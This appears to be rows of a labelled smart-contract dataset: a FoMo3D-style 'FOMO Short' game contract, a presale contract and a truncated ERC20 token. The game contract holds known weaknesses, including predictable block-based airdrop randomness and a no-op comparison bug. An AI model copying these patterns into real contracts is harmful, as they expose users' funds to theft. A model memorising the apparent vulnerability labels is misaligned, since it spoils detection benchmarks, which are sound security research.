reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 54 |
pragma solidity ^0.4.17;
contract AvPresale {
string public constant RELEASE = "0.2.2_AviaTest";
uint public constant PRESALE_START = 5307500;
uint public constant PRESALE_END = 5309227;
uint public constant WITHDRAWAL_END = 5314027;
address public constant OWNER = 0x32Bac79f4B6395DEa37f0c2B68b6e26ce24a59EA;
uint public constant MIN_TOTAL_AMOUNT_GET_ETH = 1;
uint public constant MAX_TOTAL_AMOUNT_GET_ETH = 2;
uint public constant MIN_GET_AMOUNT_FINNEY = 10;
string[5] private standingNames = ["BEFORE_START", "PRESALE_RUNNING", "WITHDRAWAL_RUNNING", "MONEY_BACK_RUNNING", "CLOSED" ];
enum State { BEFORE_START, PRESALE_RUNNING, WITHDRAWAL_RUNNING, MONEY_BACK_RUNNING, CLOSED }
uint public total_amount = 0;
uint public total_money_back = 0;
mapping (address => uint) public balances;
uint private constant MIN_TOTAL_AMOUNT_GET = MIN_TOTAL_AMOUNT_GET_ETH * 1 ether;
uint private constant MAX_TOTAL_AMOUNT_GET = MAX_TOTAL_AMOUNT_GET_ETH * 1 ether;
uint private constant MIN_GET_AMOUNT = MIN_GET_AMOUNT_FINNEY * 1 finney;
bool public isTerminated = false;
bool public isStopped = false;
function AvPresale () public checkSettings() { }
function sendMoneyOwner() external
inStanding(State.WITHDRAWAL_RUNNING)
onlyOwner
noReentrancy
{
OWNER.transfer(this.balance);
}
function moneyBack() external
inStanding(State.MONEY_BACK_RUNNING)
noReentrancy
{
sendMoneyBack();
}
function ()
payable
noReentrancy
public
{
State state = currentStanding();
if (state == State.PRESALE_RUNNING) {
getMoney();
} else if (state == State.MONEY_BACK_RUNNING) {
sendMoneyBack();
} else {
revert();
}
}
function termination() external
inStandingBefore(State.MONEY_BACK_RUNNING)
onlyOwner
{
isTerminated = true;
}
function stop() external
inStanding(State.PRESALE_RUNNING)
onlyOwner
{
isStopped = true;
}
function standing() external constant
returns (string)
{
return standingNames[ uint(currentStanding()) ];
}
function getMoney() private notTooSmallAmountOnly {
if (total_amount + msg.value > MAX_TOTAL_AMOUNT_GET) {
var change_to_return = total_amount + msg.value - MAX_TOTAL_AMOUNT_GET;
var acceptable_remainder = MAX_TOTAL_AMOUNT_GET - total_amount;
balances[msg.sender] += acceptable_remainder;
total_amount += acceptable_remainder;
msg.sender.transfer(change_to_return);
} else {
balances[msg.sender] += msg.value;
total_amount += msg.value;
}
}
function sendMoneyBack() private tokenHoldersOnly {
uint amount_to_money_back = min(balances[msg.sender], this.balance - msg.value) ;
balances[msg.sender] -= amount_to_money_back;
total_money_back += amount_to_money_back;
msg.sender.transfer(amount_to_money_back + msg.value);
}
function currentStanding() private constant returns (State) {
if (isTerminated) {
return this.balance > 0
? State.MONEY_BACK_RUNNING
: State.CLOSED;
} else if (block.number < PRESALE_START) {
return State.BEFORE_START;
} else if (block.number <= PRESALE_END && total_amount < MAX_TOTAL_AMOUNT_GET && !isStopped) {
return State.PRESALE_RUNNING;
} else if (this.balance == 0) {
return State.CLOSED;
} else if (block.number <= WITHDRAWAL_END && total_amount >= MIN_TOTAL_AMOUNT_GET) {
return State.WITHDRAWAL_RUNNING;
} else {
return State.MONEY_BACK_RUNNING;
}
}
function min(uint a, uint b) pure private returns (uint) {
return a < b ? a : b;
}
modifier inStanding(State state) {
require(state == currentStanding());
_;
}
modifier inStandingBefore(State state) {
require(currentStanding() < state);
_;
}
modifier tokenHoldersOnly(){
require(balances[msg.sender] > 0);
_;
}
modifier notTooSmallAmountOnly(){
require(msg.value >= MIN_GET_AMOUNT);
_;
}
bool private lock = false;
modifier noReentrancy() {
require(!lock);
lock = true;
_;
lock = false;
}
modifier checkSettings() {
if ( OWNER == 0x0
|| PRESALE_START == 0
|| PRESALE_END == 0
|| WITHDRAWAL_END ==0
|| PRESALE_START <= block.number
|| PRESALE_START >= PRESALE_END
|| PRESALE_END >= WITHDRAWAL_END
|| MIN_TOTAL_AMOUNT_GET > MAX_TOTAL_AMOUNT_GET )
revert();
_;
}
modifier onlyOwner(){
require(msg.sender == OWNER);
_;
}
} | 1 | 2,972 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
